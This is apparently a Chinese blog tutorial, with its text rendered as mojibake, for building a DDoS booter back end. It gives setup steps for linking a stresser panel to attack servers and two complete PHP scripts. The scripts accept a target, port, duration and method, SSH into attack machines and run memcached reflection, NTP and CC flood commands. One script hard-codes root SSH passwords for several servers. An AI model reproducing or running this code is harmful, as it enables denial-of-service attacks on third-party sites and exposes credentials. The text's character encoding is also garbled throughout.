文字教程如下(ps:第二種api的教程)第一種api自行根據(jù)第第二種api去理解
1.準(zhǔn)備好發(fā)包機(jī)、API源碼、頁(yè)端。
2.首先在需要搭建API的服務(wù)器上創(chuàng)建網(wǎng)站,算了 就用這個(gè)吧,寶塔安裝就不需要我多說(shuō)了吧 正常建站。創(chuàng)建的網(wǎng)站后 看 里面就需要上傳一個(gè)API源碼 如果你機(jī)子多 就多上傳幾個(gè)API源碼(源碼重命名不能一樣)
3.在寶塔網(wǎng)站根目錄里編輯API源碼 該改的地方我都標(biāo)注了的 需要注意幾個(gè)地方 首先是你的發(fā)包機(jī)內(nèi)的攻擊命令是什么 比如memc的 一般的攻擊命令是 ./memc IP 端口 列表 -1 時(shí)間 輪訓(xùn) 我這已經(jīng)改好了 如果你們的腳本沒有輪訓(xùn) 或者命令跟API里的不一樣 那就要自己動(dòng)手改了
(不會(huì)的再問(wèn)我)
4.因?yàn)闄C(jī)子不太方便放賬號(hào)密碼出來(lái) 所以省略了這一步了 改好之后API就能用了 API的地址稍等我會(huì)放在最下面 這里要記住的是 這個(gè)支持的模式一定要填對(duì) 還有密鑰也要記住
5. 接下來(lái)就是要用API對(duì)接頁(yè)端了 這里用紅色頁(yè)端做演示 首先添加方法 比如你打的memc
名稱就寫你的模式 SSDP就寫SSDO MEMC就寫MEMC 這就不多說(shuō)了 我這用cc做演示 所以類型就用CC模式 沒有選項(xiàng)的頁(yè)端就自己輸入就行 其他模式就選UDP類型 有SYN的 就寫SYN TCP就寫TCP
6.然后就是加入API了 復(fù)制剛剛搭建的API網(wǎng)址 就最后這個(gè) 把API的網(wǎng)站改了 還有API源碼文件的名字改了 密鑰也改成你自己設(shè)置的 后面的就是一樣的了 這個(gè)插槽就是你的腳本支不支持多并發(fā) 不支持就寫1 一般也寫1 然后再方法里選上你這API鏈接的機(jī)子攻擊的方式 我這是CC就選CC了 API名稱好像是不能加中文 這樣就OK了
7. 然后我們?nèi)ロ?yè)端前臺(tái)看一下 進(jìn)入壓測(cè)面板 晚上機(jī)子太卡了 就不看機(jī)子了 只要你對(duì)接了就有用的 我們測(cè)試一下 就拿我的代刷測(cè)試吧 反正沒用 掛著玩的 現(xiàn)在是正常的 稍等 我暫停一下 去開下機(jī)子 機(jī)子好像忘記開了 重啟了一下 好了 能進(jìn)去了 這一下就跑起來(lái)了 看 正常提交了
方法都在這了 教程很詳細(xì)
http://API的網(wǎng)站/api111.php?key=321321&host=[host]&port=[port]&time=[time]&method=[method]
第一種api-使用命令: 第一種api:使用命令:https://www.cunshao.com/api/ccgj/bg.php/?key=你的key@&host=http://網(wǎng)址(或IP地址)&time=時(shí)間&method=cfx&Bing=線程&max=任務(wù)機(jī)器數(shù)量
<?php
# 初始化
header("Content-Type: application/json; charset=utf-8");
error_reporting(E_ALL^E_NOTICE^E_WARNING);
ignore_user_abort(true);
set_time_limit(300);
# 設(shè)置
$Set = array(
# 程序目錄【村少博客www.cunshao.com提示這里是目錄,盡量不改】
'AppDir' => '/',
# 線程 【這個(gè)是用來(lái)來(lái)打dd的,你CC用不到可以不用管】
'Thread' => 10,
# 時(shí)間上限 (秒) 【上限時(shí)間,API只能提交10分鐘】
'TimeLimit' => 600
);
# 服務(wù)器 SSH 信息 【把你的CC機(jī)器 填寫賬號(hào)密碼就行了】
$Servers = array(
['Host' => '155.235.92.195', 'Port' => 22, 'UserName' => 'root', 'Password' => '7h0fL2DaEB5CFs'], # 主機(jī)1
['Host' => '155.235.92.253', 'Port' => 22, 'UserName' => 'root', 'Password' => '10p11OEDZEvvSdd'], # 主機(jī)2
['Host' => '155.235.92.196', 'Port' => 22, 'UserName' => 'root', 'Password' => '1UFVi2iYGbZnaP'], # 主機(jī)3
['Host' => '155.235.92.197', 'Port' => 22, 'UserName' => 'root', 'Password' => '6qLG5tlP9aWzRA'], # 主機(jī)4
['Host' => '155.235.95.155', 'Port' => 22, 'UserName' => 'root', 'Password' => '1v9OWzURn8V81V'], # 主機(jī)5
# ...
);
# 秘鑰 ##【秘鑰 https://www.cunshao.comz/bg.php/?key=yeizi123&host=http://www.baidu.com&time=30&method=ccp&Bing=10&max=1 】
$Keys = array(
'@xuan',
);
# 方法 【這個(gè)不用管】
$Methods = array(
'cfx',
'ntp',
'webbench',
);
########################################################################################################################
# 接收傳遞參數(shù) GET POST 通用
$Key = $_REQUEST['key'];
$Max = $_REQUEST['max'];
$Host = $_REQUEST['host'];
$Bing = $_REQUEST['Bing'];
$Port = intval($_REQUEST['port']);
$Time = intval($_REQUEST['time']);
$Method = strtolower($_REQUEST['method']);
########################################################################################################################
# 驗(yàn)證
if (!function_exists("ssh2_connect")) die("錯(cuò)誤:服務(wù)器未安裝 PHP-SSH2 擴(kuò)展");
if (empty($Key)) die("錯(cuò)誤:接口秘鑰(API Key) 為空");
if (!in_array($Key, $Keys) && $Set['AdminKey'] !== $Key) die("錯(cuò)誤:接口秘鑰(API Key) \"$Key\" 不存在");
if (empty($Max)) die("錯(cuò)誤:并發(fā)(Max) 為空");
if (empty($Host)) die("錯(cuò)誤:主機(jī)(Host) 為空");
#if (empty($Port)) die("錯(cuò)誤:端口(Port) 為空");
if (empty($Time)) die("錯(cuò)誤:時(shí)間(Time) 為空");
if (empty($Method)) die("錯(cuò)誤:方法(Method) 為空");
if (!in_array($Method, $Methods)) die("錯(cuò)誤:方法(Method) \"$Method\" 不存在");
#if ($Port > 65535 || $Port < 1) die("錯(cuò)誤:端口(Port) \"$Port\" 錯(cuò)誤,端口不可大于 65535");
if ($Max > count($Servers)) die("錯(cuò)誤:并發(fā)(Max) \"$Max\" 錯(cuò)誤,沒有足夠的服務(wù)器執(zhí)行并發(fā)任務(wù)");
if ($Time > $Set['TimeLimit'] || $Time < 5) die("錯(cuò)誤:時(shí)間(Time) 不能大于 ".$Set['TimeLimit']." 秒或小于 5 秒");
########################################################################################################################
# 默認(rèn)命令
$Command = $Set['AppDir'].$Method.' '.$Host.' '.$Port.' '.$Set['AppDir'].$Method.'.txt '.$Set['Thread'].' -1 '.$Time;
# 自定義命令
if ($Method === 'ntp') {
$Command = $Set['AppDir'].$Method.' '.$Host.' '.$Time.' '.$Set['AppDir'].$Method.'.txt';
}
# 自定義命令
if ($Method === 'cfx') {
if (empty($Bing)) die("錯(cuò)誤:Bing(并發(fā)) 為空");
$Command = '.'.$Set['AppDir'].$Method.' '.$Host.' '.$Time.' '.$Bing.'';
# ./cfx 域名 時(shí)間 并發(fā)
}
#自定義命令
if ($Method === 'webbench') {
if (empty($Bing)) die("錯(cuò)誤:Bing(并發(fā)) 為空");
$Command = '.'.$Set['AppDir'].$Method.' -c '.$Bing.' -t '.$Time.' '.$Host.'';
# webbench -c 并發(fā) -t 時(shí)間 http://地址
}
# 調(diào)試命令
//exit('您將要執(zhí)行的命令為:'.$Command);
//$Command = 'ping baidu.com';
########################################################################################################################
# SSH
$ResServers = '【DDoS Concurrent API - PHP】'.PHP_EOL.'近朱者赤,近你者甜'.PHP_EOL.PHP_EOL;
$ResServers ='.'.$Set['AppDir'].$Method.' '.$Host.' '.$Time.' '.$Bing.''.PHP_EOL.PHP_EOL;;
$ResServers .= '===目標(biāo):'.$Host.'~時(shí)間:'.$Time.'~并發(fā):'.$Bing.'~機(jī)器使用:'.$Max.'臺(tái)==='.PHP_EOL;
#$ResServers .= '并發(fā)(Max):'.$Max.PHP_EOL;
#$ResServers .= '主機(jī)(Host):'.$Host.PHP_EOL;
#$ResServers .= '端口(Port):'.$Port.PHP_EOL;
#$ResServers .= '線程(Bing):'.$Bing.PHP_EOL;
#$ResServers .= '時(shí)間(Time):'.$Time.'s'.PHP_EOL;
#$ResServers .= '方法(Method):'.$Method.PHP_EOL.PHP_EOL;
#
foreach ($Servers as $i => $res){
$i++;
if (!($conn = ssh2_connect($res['Host'], (int)$res['Port']))) {
$ResServers .= "主機(jī) $i => SSH 連接失敗".PHP_EOL;
continue;
}
if (!ssh2_auth_password($conn, $res['UserName'], $res['Password'])) {
$ResServers .= "主機(jī) $i => SSH 用戶名或密碼錯(cuò)誤".PHP_EOL;
continue;
}
if (($str = ssh2_exec($conn, $Command))) {
stream_set_blocking($str, false);
$data = "";
while ($buf = fread($str,4096)) $data .= $buf;
$ResServers .= "主機(jī) $i => SSH 提交成功".PHP_EOL;
}
else $ResServers .= "主機(jī) $i => SSH 命令執(zhí)行失敗".PHP_EOL;
if ($i >= $Max) exit($ResServers);
}
exit($ResServers);
########################################################################################################################
第二種api-使用命令:http://API的網(wǎng)站/api111.php?key=321321&host=[host]&port=[port]&time=[time]&method=[method]
<?php
//攻擊格式為: http://ip/?key=[密鑰]&host=[IP地址]&port=[端口]&time=[時(shí)間]&method=[模式]
//攻擊格式為: http://ip/?key=[密鑰]&host=[host]&port=[port]&time=[time]&method=[method]
ignore_user_abort(true);
set_time_limit(1000);
$server_ip = "127.0.0.0"; //村少博客www.cunshao.com提示linux的服務(wù)器IP地址
$server_user = "root"; //賬號(hào)
$server_pass = "root"; //密碼
$key = $_GET['key'];
$host = $_GET['host'];
$port = intval($_GET['port']);
$time = intval($_GET['time']);
$method = $_GET['method'];
$action = $_GET['action'];
$array = array("memc"); //支持的模式
$ray = array("xue"); //密鑰
if (!empty($key)){
}else{
die('Error: 請(qǐng)勿留空!');}
if (in_array($key, $ray)){
}else{
die('Error: 錯(cuò)誤的密鑰!');}
if (!empty($time)){
}else{
die('Error: 時(shí)間不能為空!');}
if (!empty($host)){
}else{
die('Error: 攻擊地址不能為空!');}
if (!empty($method)){
}else{
die('Error: 模式不能為空!');}
if (in_array($method, $array)){
}else{
die('Error: 你目前沒有這個(gè)模式的支持!');}
if ($port > 65535){
die('Error: 端口不可以超過(guò)65535');}
if ($time > 1000){ //限制攻擊時(shí)間
die('Error: 攻擊時(shí)間不能大于1000s!');}
if(ctype_digit($Time)){
die('Error: 時(shí)間不是數(shù)字!');}
if(ctype_digit($Port)){
die('Error: 端口不是數(shù)字!');}
//if ($method == "cc") { $command = "node config.js $host 10000 $time&node cc.js $host 10000 $time"; } //攻擊腳本、反射文件目錄,攻擊命令//
if ($method == "memc") { $command = "./iboydds $host $port boy.txt 1 -1 $time 10"; } //攻擊腳本、反射文件目錄,攻擊命令
if (!function_exists("ssh2_connect")) die("Error: 你的服務(wù)器沒有開啟ssh2");
if(!($con = ssh2_connect($server_ip, 22))){
echo "Error: 連接失敗";
} else {
if(!ssh2_auth_password($con, $server_user, $server_pass)) {
echo "Error: 登錄失敗請(qǐng)檢查你的信息";
} else {
if (!($stream = ssh2_exec($con, $command ))) {
echo "Error: 你的服務(wù)器沒有能力去執(zhí)行你的命令,或者你的攻擊腳本不存在";
} else {
stream_set_blocking($stream, false);
$data = "";
while ($buf = fread($stream,4096)) {
$data .= $buf;
}
echo "攻擊成功!!</br>地址: $host</br>攻擊端口: $port </br>攻擊的時(shí)間: $time</br>使用的模式: $method";
fclose($stream);
}
}
}
?>
? 版權(quán)聲明
THE END